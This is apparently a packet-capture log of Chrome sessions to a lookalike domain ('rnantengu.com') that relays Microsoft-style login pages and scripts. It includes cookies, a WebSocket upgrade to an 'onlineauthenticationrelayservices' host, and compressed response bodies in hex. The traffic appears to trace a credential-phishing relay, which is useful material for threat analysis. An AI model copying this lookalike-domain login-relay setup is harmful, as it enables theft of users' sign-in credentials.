Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49924	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:16 UTC	827	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: l1ve.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:18 UTC	514	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1442 Connection: close cache-control: max-age=315360000 vary: Accept-Encoding p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" referrer-policy: strict-origin-when-cross-origin x-ms-route-info: C559_SN1 x-ms-request-id: 9613dde4-234b-4f68-a3ff-1396015fc2d8 ppserver: PPV: 30 H: SN1PEPF0002FA8C V: 0 content-encoding: gzip access-control-allow-origin: * access-control-allow-headers: *
2025-01-15 09:07:18 UTC	1442	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 b5 57 4d 6f db 38 10 bd f7 57 d8 44 11 88 1b ae 22 39 71 e2 c8 61 83 a2 db 45 5d 34 6d 51 75 b1 07 57 0b 30 14 65 73 2b 53 02 49 bb 0d 1c fd f7 1d 7d 59 b6 ba 4d da 43 0f 89 e5 e1 cc e3 7b c3 99 a1 7c 65 b8 96 b9 1d d8 bb 5c 50 64 c5 57 7b f2 2f db b0 da 8a 9e 3d 19 0c 93 b5 e2 56 66 ca b1 44 e0 6d 92 69 67 c3 f4 c0 0c a4 1a 08 6c e7 26 a2 02 fe 15 8e 5d 4a 43 3a 67 70 6d 9e 07 c2 51 78 2b 13 c7 cc 55 84 b5 b0 6b ad 06 e5 b3 2b be e6 99 b6 66 5a 02 4a 5a 9a e8 b6 b1 05 db 82 c8 38 50 24 cd 58 2c e2 60 e8 17 d3 26 d4 96 a1 9c a5 a9 23 5b 04 22 49 f7 2c 30 7c a9 c3 e8 d0 eb 16 8a 8a 37 dd ee 80 84 bb a2 20 ca e5 14 82 dc 9c 22 44 84 e3 e1 c2 99 f7 34 b7 42 4c 25 ab c9 80 a0 c9 3c 8c 88 a1 1e 51 54 b8 a9 50 0b bb 9c 9a 2b 35 3d Data Ascii: WMo8WD"9qaE]4mQuW0es+SI}YMC{\|e\PdW{/=VfDmigl&]JC:gpmQx+Uk+fZJZ8P$X,`&#["I,0\|7 "D4BL%<QTP+5=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49923	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:16 UTC	562	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:18 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:18 GMT Content-Type: application/x-javascript Content-Length: 16378 Connection: close cache-control: public, max-age=31536000 last-modified: Fri, 06 Dec 2024 22:09:39 GMT etag: 0x8DD1642AD75BC4E x-ms-request-id: ed84371a-701e-0062-6119-663edc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090717Z-1698bcdb8c7cx4w2hC1BL1s2hw00000003e00000000081m1 x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:18 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2025-01-15 09:07:18 UTC	800	IN	Data Raw: 11 5a 53 4f 4d 5f a7 ec 07 d6 03 4d de 08 3c d9 d6 31 26 05 e6 18 5a be 56 ae 63 a0 13 6c 00 eb dd 31 c5 c3 b9 0f f8 85 4d 99 01 80 b7 2c 65 d8 c2 08 d2 32 1e 40 88 ab 05 45 3d f1 34 18 72 ee 43 46 79 e0 fa e1 bc b3 2a 6f 39 37 98 a3 a2 03 71 f0 50 d1 01 48 f4 54 63 b9 85 7e cb f0 5b fa 7d 98 93 3e 00 b7 05 83 2c d1 97 53 8e 20 c8 eb ad 9c c2 8a e4 57 86 6f f0 6a 8d e1 3d 80 8e 07 4b e6 18 0a fc 7e 00 49 1c f8 03 13 b4 0f c5 47 81 c1 04 7c 66 e6 46 88 70 72 1a d5 87 0c 38 61 47 66 8e 1c c1 a5 d5 0f 4d fc 8e b0 8c 6e c1 a8 36 01 64 b4 86 65 c1 8c 1e 70 b4 1e 18 55 d9 83 f8 81 d1 42 19 df 60 51 34 1e 92 74 6b 80 75 bc 3b fc e3 79 f3 fc f4 fc a4 68 0b 55 7c 6e f1 34 47 d0 7e 21 95 c3 7a 31 32 9e 60 17 60 d6 64 55 b4 4c 1e f8 9c 8e 41 ac 8e 25 1d 00 4b 57 6e Data Ascii: ZSOM_M<1&ZVcl1M,e2@E=4rCFy*o97qPHTc~[}>,S Woj=K~IG\|fFpr8aGfMn6depUB`Q4tku;yhU\|n4G~!z12``dULA%KWn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49928	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:17 UTC	731	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://onlineauthenticationrelayservices.rnantengu.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:19 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:19 GMT Content-Type: application/x-javascript Content-Length: 61136 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 25 May 2023 17:22:47 GMT etag: 0x8DB5D44A8CEE4F4 x-ms-request-id: e781b6be-901e-001b-32a5-60fd55000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090718Z-155884f84d4msscwhC1BL13yx00000000t0g00000000sy3m x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:19 UTC	15578	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 cc bd 69 77 db 46 b2 30 fc fd fe 0a 0a 27 57 03 8c 60 9a 94 97 38 a4 11 5e 59 a2 6d 26 da a2 25 4e 46 d6 e8 40 60 4b 82 4d 02 0c 00 4a d6 48 fc ef 4f 55 f5 8e 85 92 92 dc f7 be 27 b1 08 34 aa f7 ea ea ea ea 5a dc 9b 38 19 a7 37 ed 82 4d d8 94 15 d9 ed d9 0d 3b 9f 85 d1 d7 9f f2 34 99 05 4b bf de df 9f 9c 7a ed d9 3c bf 72 4f 4e d6 4f fd 13 df f7 2f e6 49 54 c4 69 e2 32 bf f0 13 ef ce 99 e7 ac 95 17 59 1c 15 4e 3f 69 67 6e e1 f9 49 7b ec 16 be f3 6b 38 99 b3 9f a1 02 c7 77 55 36 ef 2e 63 c5 3c 4b 5a 59 9b 2d 3c 05 3b bc 66 49 b1 1d 16 2c 89 6e 1b c0 c3 32 f8 3e cb f2 38 c7 2c ac 21 cb b9 91 e5 28 0b 23 b6 cd ae d9 a4 01 78 6c 00 6f cc 66 a3 24 8f 2f af 8a 7c 33 cd ea 8b 8f ad 16 bd 0b 73 d6 08 6a 16 7d 36 fc 06 4d 1e b3 f1 28 Data Ascii: iwF0'W`8^Ym&%NF@`KMJHOU'4Z87M;4Kz<rONO/ITi2YN?ignI{k8wU6.c<KZY-<;fI,n2>8,!(#xlof$/\|3sj}6M(
2025-01-15 09:07:19 UTC	14460	IN	Data Raw: d1 99 5c 09 ed 09 67 1a f2 a2 d6 03 8e 2d aa 29 79 52 45 ab f0 ec 30 6a ba 82 2b ff d6 1f fa bb 54 cd 0a 8a 84 74 51 a8 ec a9 65 49 b9 e7 de 96 af a3 f8 28 aa 62 71 77 25 af 47 aa 08 55 3c 91 9a 91 a4 2f 57 cc 08 85 b5 cf b8 37 03 2d 0a f2 d0 00 ea ba c0 bb 84 7c 06 5b c0 ea aa fd 0e ed f2 23 53 27 1e f2 47 f6 cd e6 6d e3 f0 70 35 32 2e 7b e1 6c f2 4d 0d bd 94 06 9a d4 36 ae ae ee 8b 59 f0 d1 32 4d 37 d6 8f 83 ef 50 0d 05 b7 40 c1 19 f0 d0 3f c3 6f c5 e6 c5 25 de 9b a9 8b 0c 33 ec 52 9d bb 6d f2 b4 9d 70 69 0d 16 04 ec 27 f9 64 56 3c 3f 02 90 3a 72 61 3a 1c 0a 17 ee 15 90 92 c2 bd a1 20 7f 80 d2 9f 98 c4 19 14 3d 41 c2 7b e6 ee f9 37 8d a2 67 d1 37 f2 43 4a f0 bf d9 db b8 5b 66 13 ca 56 01 16 f7 70 b7 2f 6e 82 60 d9 ee f3 4b a0 5e b2 e8 5b 27 64 97 df 6e Data Ascii: \g-)yRE0j+TtQeI(bqw%GU</W7-\|[#S'Gmp52.{lM6Y2M7P@?o%3Rmpi'dV<?:ra: =A{7g7CJ[fVp/n`K^['dn
2025-01-15 09:07:19 UTC	16384	IN	Data Raw: 93 52 01 93 52 ee 3e 20 59 6a 9a b9 ad a4 66 6f 45 da 86 61 f1 f6 d9 d6 8c 32 3a 7f 1b 4e ca 8e d3 4b d9 e9 58 75 3a 45 a7 e9 5a 65 b1 1b c3 15 ea 97 35 86 01 ae 81 97 71 67 40 9d 1c c8 1e ba 19 dd 04 6a 82 53 9a dd 41 8f ad 0e 16 fa 69 2a af fd f6 64 3f 33 96 bf 96 5d 15 ef b5 bd 65 80 af b5 98 24 c8 df f2 b2 52 b3 e9 62 b3 27 34 ee 38 d0 79 fa 12 96 0d 72 6a bd 8e 47 53 dd c1 8a d1 6f 6f ae 4a 50 b2 1e 58 50 b8 99 cf c1 c4 52 0c 09 26 35 35 63 f9 79 c1 8a 76 c8 ee 05 08 d9 ed 8a 1f 82 02 11 23 15 5d f1 e3 3e fb 9f 3f f3 f5 19 fd ff 03 61 a0 69 83 80 18 e2 7b 33 d4 ff 3d 58 fd aa 30 59 e1 16 59 bb 39 39 cc 0f 08 c6 46 19 58 4b ae a3 0a 39 9e ff 6b 70 51 be fa cc 4b 1a 84 e3 48 27 b0 3e 0c 98 5f 8e 2d 93 a7 84 38 37 30 5c 87 6d af 16 da 72 6c 00 da 2b 6f Data Ascii: RR> YjfoEa2:NKXu:EZe5qg@jSAi*d?3]e$Rb'48yrjGSooJPXPR&55cyv#]>?ai{3=X0YY99FXK9kpQKH'>_-870\mrl+o
2025-01-15 09:07:19 UTC	14714	IN	Data Raw: 08 ab 28 ae 27 4d f2 1b 8a 10 0f 86 e3 48 d6 d0 4b 4c 27 7c d4 e1 7b 9a b0 2e fc bf 0c b3 fc e2 9e 15 78 13 e1 92 e2 1d a5 30 e5 4a 6f d9 98 ae bd 35 67 bd 60 dd 06 3a 84 7b ae b3 37 2d ae 3f e4 a1 60 bd 9e c5 83 9b 08 6a d4 b5 a9 88 eb 48 5f 0c c6 31 ad f8 86 14 0f 50 e1 4a 82 59 08 ae 46 9d 7d f1 7c 38 14 59 74 87 dc 44 8f 94 2e 1f 38 11 40 56 f0 1d 36 8a 74 83 99 af 1b b7 44 e0 c5 39 15 fc 46 26 7f 3c 9d e0 ba d9 40 31 c7 b7 de 38 1b 83 f9 ed 2c bd 89 12 39 32 f9 22 4e d0 9b 6f 93 4d b8 55 99 11 74 a9 76 dc 3b 21 6a ca 21 17 13 5e 35 fa 84 58 4f 7c e0 dc a0 d0 9c ee 20 a5 dc 22 9b 46 34 d7 ce 00 bc 57 1a 3e 9b b2 d9 6b 4f cb 10 96 9c ed 67 0f 1b 5f 08 95 dc 20 70 18 85 b7 0e 3c b3 c2 b7 88 7f 0a c4 ec 5e 78 1f f1 f7 f0 f2 86 70 ae 8f c0 4b de 03 53 fb Data Ascii: ('MHKL'\|{.x0Jo5g`:{7-?`jH_1PJYF}\|8YtD.8@V6tD9F&<@18,92"NoMUtv;!j!^5XO\| "F4W>kOg_ p<^xpKS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49931	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:17 UTC	752	OUT	GET /cf4691c709594b658426624fe3bf208f/ HTTP/1.1 Host: onlineauthenticationrelayservices.rnantengu.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://onlineauthenticationrelayservices.rnantengu.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1 Sec-WebSocket-Key: 3mFB+1lXARwCVHVs6Cp9qQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2025-01-15 09:07:19 UTC	741	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 15 Jan 2025 09:07:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: private p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 3c005405-6efa-4710-8037-669c46f01f00 x-ms-ests-server: 2.1.19870.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2025-01-15 09:07:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49935	172.235.150.19	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:07:17 UTC	543	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: a6dd5e95-cf4691c7.rnantengu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: oGAs0a="Y2Y0NjkxYzctMDk1OS00YjY1LTg0MjYtNjI0ZmUzYmYyMDhmOmY3ODYxYTM4LTE2Y2YtNDEyYy1hMWYzLTJlMWRhY2E3MjMyZg=="
2025-01-15 09:07:19 UTC	813	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:07:19 GMT Content-Type: application/x-javascript Content-Length: 122728 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 12 Dec 2024 21:33:54 GMT etag: 0x8DD1AF4ADA1D4EB x-ms-request-id: 83fae2e6-b01e-0066-33a8-60fbc9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20250115T090718Z-1698bcdb8c74kdr2hC1BL1mxc00000000t5g00000000gh7v x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2025-01-15 09:07:19 UTC	15571	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 7d 5b e3 b8 92 38 fa ff fd 14 c1 e7 5c 26 19 4c da ce 1b c4 8c 87 4d 07 e8 66 07 08 87 40 cf ec d2 1c 1e c7 56 82 87 c4 ce da 0e 2f 27 64 3f fb af aa 24 d9 b2 e3 d0 dd b3 fb dc fb dc e7 ce 9e 6d 62 a9 f4 56 2a 95 aa 4a a5 d2 87 9f b7 fe af ca cf 95 dd ef ff af 32 bc ee 5d 5d 57 06 27 95 eb cf a7 57 47 95 4b f8 fa 8f ca c5 e0 fa b4 7f fc fd f5 60 a3 f8 ff d7 0f 7e 5c 19 fb 53 56 81 bf 23 27 66 5e 25 0c 2a 61 54 f1 03 37 8c e6 61 e4 24 2c ae cc e0 df c8 77 a6 95 71 14 ce 2a c9 03 ab cc a3 f0 4f e6 26 71 65 ea c7 09 14 1a b1 69 f8 5c a9 42 75 91 57 b9 74 a2 e4 b5 72 7a 59 ab 43 fd 0c 6a f3 27 7e 00 a5 dd 70 fe 0a bf 1f 92 4a 10 26 be cb 2a 4e e0 51 6d 53 f8 08 62 56 59 04 1e 8b 2a cf 0f be fb 50 39 f7 dd 28 8c c3 71 52 89 Data Ascii: }[8\&LMf@V/'d?$mbVJ2]]W'WGK`~\SV#'f^%aT7a$,wqO&qei\BuWtrzYCj'~pJ&NQmSbVY*P9(qR
2025-01-15 09:07:19 UTC	14460	IN	Data Raw: 83 7c be 0d b7 7e bb 8c 31 a2 9e 75 90 d4 19 02 89 cb 3e 09 da 7b 28 e4 1a c0 52 1a 6c 7d a9 7d c8 5e ef b2 52 7c b3 b5 03 95 48 c0 1e df 22 ec 35 f1 00 d6 1c 08 2b a9 52 ed 28 b5 db 5b 86 ee d4 19 fa 42 60 88 9c ef 54 05 41 23 91 82 77 56 d6 f6 41 4b 00 0e fc 84 c7 0b d5 9a 90 ba ab cb 80 c7 24 d0 9c e9 b3 f3 1a 6b ab 1a 34 88 bb 01 8c 77 30 c7 0e c5 80 17 87 b8 8c 1b f9 a3 7c ff 95 fa 33 88 6a 26 d0 02 0a 02 f4 53 22 2d 26 e1 4e 06 55 b5 d0 9c b1 c7 2a 57 5e 71 c2 d0 42 36 9b e3 dd 1e ee 00 62 97 ed 39 c0 53 00 70 90 0d 86 65 15 d6 be 61 72 3a c8 ec 1b be f4 e3 7e 6f da 74 34 01 98 68 02 10 2a 3f 48 df e2 ba 78 36 63 71 a1 1c ea ef e8 23 02 0a d3 91 13 3d 66 81 1d 0e fc 82 33 db 47 f4 c7 22 f7 40 bc af 52 cc fd 1d fd b2 94 dc b5 fa 6c 07 c5 26 f4 0f a6 Data Ascii: \|~1u>{(Rl}}^R\|H"5+R([B`TA#wVAK$k4w0\|3j&S"-&NUW^qB6b9Spear:~ot4h?Hx6cq#=f3G"@Rl&
2025-01-15 09:07:19 UTC	16384	IN	Data Raw: 28 2d 2e 1e c2 c8 49 87 0c 1a 0b 0d 89 2c d0 5c 35 12 2f 94 d0 4c 58 5f 1e 08 15 11 bc c0 91 2b 78 24 f2 40 88 50 61 dd 56 cc 53 a9 70 43 25 1c 54 04 9b 95 1a 9a e4 9c ad d8 93 92 cc 7a f9 b1 e9 6e 83 48 6e 0b 49 55 2d fd bc f7 96 61 db f2 ff 5e 8b 0b 7e 5b 71 55 51 f1 da de 94 03 2c 5a 2a dc 9e 26 e6 d6 0f a4 a1 12 3b d5 7c 40 92 79 71 91 67 42 11 27 b0 47 71 9b 56 51 13 de 20 1a fd f8 c1 52 96 59 a5 b2 c7 c7 53 a1 a6 47 e4 b3 21 e6 cf 28 8b 28 82 5f 44 da 29 32 a6 b0 47 73 4e 0e 7f e8 e6 f3 8f 0c ff 1a 61 11 61 12 9a 7a 68 d7 16 d9 d3 13 27 35 e9 ab 28 a0 4c 93 05 a2 61 9a 39 43 40 da 88 e1 01 0e 69 87 c0 34 0f d5 71 1a fc 1e f7 1e 43 f9 d2 d7 32 ba 30 a2 1f f2 21 e9 42 76 c6 63 a4 0c 3e c7 0f 90 03 55 2a 93 2c cf f9 84 d9 0b c7 b8 5e c4 eb 99 df 5c 18 Data Ascii: (-.I,\5/LX_+x$@PaVSpC%TznHnIU-a^~[qUQ,Z&;\|@yqgB'GqVQ RYSG!((_D)2GsNaazh'5(La9C@i4qC20!Bvc>U,^\
2025-01-15 09:07:19 UTC	16384	IN	Data Raw: 6b 86 66 f5 ac c7 24 83 3d d4 62 86 7a 82 61 97 6d 31 75 d3 f0 1e 29 04 7e 7b d8 6f 7a 3d 2a d0 56 1e df ff d6 f0 fe 5d 5c ec 03 29 04 0b bd f8 05 c7 87 9b e1 7d 19 d4 b3 1e b0 ea 82 33 ec d4 df 7f 08 c7 fc ee 43 43 3d 27 70 40 ee 8c 46 9c e1 a8 21 03 23 d0 a0 eb 2b e7 39 31 c7 42 49 2a 45 03 f7 2a af 69 35 f0 dd 74 3c 61 61 90 18 32 33 23 cb a4 f9 15 ff 36 5e 0f 69 a7 1f f0 b6 8f 3e 25 c5 0d 46 23 3b c9 e4 10 ff 68 8e 0b 5c 4b 30 3f b7 7c 3e 88 49 30 73 f0 11 a1 86 e6 9d d9 9a 71 1c 7f 3e 56 f6 ef 9c a5 6f 16 80 7b 0d db c0 2f 8f cd e6 d2 ed 50 be 3d 32 df 36 59 80 72 c6 5d 23 9f 3a 30 cb 92 6e cc 46 4c c8 28 82 e7 c5 ac a3 c8 ae af 47 f1 7e 76 8b 73 b3 97 e7 7b 48 04 73 ce 37 e6 2c 1b cc 27 65 78 6b 66 98 a6 5f 26 e1 b8 3a 1c c3 86 e1 34 f6 c4 89 b9 96 Data Ascii: kf$=bzam1u)~{oz=V]\)}3CC='p@F!#+91BIE*i5t<aa23#6^i>%F#;h\K0?\|>I0sq>Vo{/P=26Yr]#:0nFL(G~vs{Hs7,'exkf_&:4
2025-01-15 09:07:19 UTC	16384	IN	Data Raw: 3c d9 35 0c f9 ea 31 2e 1b 65 e0 df 2b 52 0a 35 bd 41 1e f5 11 c4 bc da 72 d2 49 54 3e d4 6e 1d 75 fb 50 a3 cc 46 ad 8c 90 8a 5a 11 e2 44 5c c1 df 7a 04 22 6a c6 7b e3 3d 23 5e b0 05 d3 51 a0 79 f6 18 eb d1 f4 1b f4 63 e6 03 7d 14 6c b9 38 7a c1 1b eb ef 56 ab 94 d7 02 b2 4e 40 7f 93 4c 63 e3 49 63 bb ee 76 7a 4d d4 92 2d 72 ea a6 72 60 52 4b 39 81 c8 f7 33 6f 11 34 2a 8a 6c d1 34 ab 16 82 a2 8f 90 80 91 46 a7 49 0a a7 d4 95 00 4f b2 a7 4f 33 45 40 b5 b8 08 d1 60 e0 66 4b 35 8b 5a 7d 12 b3 0b ad 9f 3d 3c 44 7c e2 c8 97 a1 67 90 b6 c2 ac a0 0b c2 4e 5b ab ff cb b2 23 7c 9b ba 1b c0 88 40 b3 4e c1 72 e6 b1 87 6c e6 4e ff 8c 60 d9 5d 51 47 35 0a bc 9d a1 10 ee 6d 8f 1e 78 42 3e 2e 9e ca 54 6a 3a 95 20 68 fd 6b 3d 57 fc 24 24 42 9a 72 32 58 25 31 c2 3f 79 1a Data Ascii: <51.e+R5ArIT>nuPFZD\z"j{=#^Qyc}l8zVN@LcIcvzM-rr`RK93o4*l4FIOO3E@`fK5Z}=<D\|gN[#\|@NrlN`]QG5mxB>.Tj: hk=W$$Br2X%1?y
2025-01-15 09:07:19 UTC	2737	IN	Data Raw: 66 6c 25 0d 75 de 6e ad 3e 9a 7e d5 31 15 f5 ed d3 75 16 a3 6e a0 e5 af 2f e4 cb c9 7b b2 c8 a6 34 27 74 6f 15 a8 a6 f3 6c a9 db 67 66 2a 29 60 bb dd e7 b3 f9 a6 96 47 ef 85 3a 38 ba 47 cd af 58 f8 3d 85 97 59 55 5a e9 96 86 54 77 64 6d 88 04 ed 2b 7b 35 b2 68 66 57 76 b8 d1 fe df 26 ef eb 4b df 0e e5 55 1d 3c 2a 54 c5 b4 96 6d 93 cd 4d 9b 5c 3b 9f 1c e8 56 93 fb f2 b2 bb 35 9d d0 fa db fe fe df 96 f7 d0 5d f5 1f 4e d7 de 91 d6 0b 93 d0 f0 9a 6c 88 23 eb 9c 8e 37 fc 6b f2 a0 73 b3 f6 f9 0c 0a 00 13 a2 39 e4 7e 8c 92 64 eb 7e 4f 6f 55 8e a9 e6 d3 89 35 38 87 40 87 2d 34 b0 fe 3d 5b 66 49 ec f7 85 1c 0d af 4f b3 b8 b0 fe d7 7a 3a 6e cc ab 91 f5 3f 93 ef 29 00 ee f5 e9 f1 f9 69 2b 9e d4 fa 5f a9 6e 03 c1 e2 89 91 0e 40 d2 37 9f 82 df fc a4 34 a6 0b b4 f6 7c Data Ascii: fl%un>~1un/{4'tolgf)`G:8GX=YUZTwdm+{5hfWv&KU<TmM\;V5]Nl#7ks9~d~OoU58@-4=[fIOz:n?)i+_n@74\|
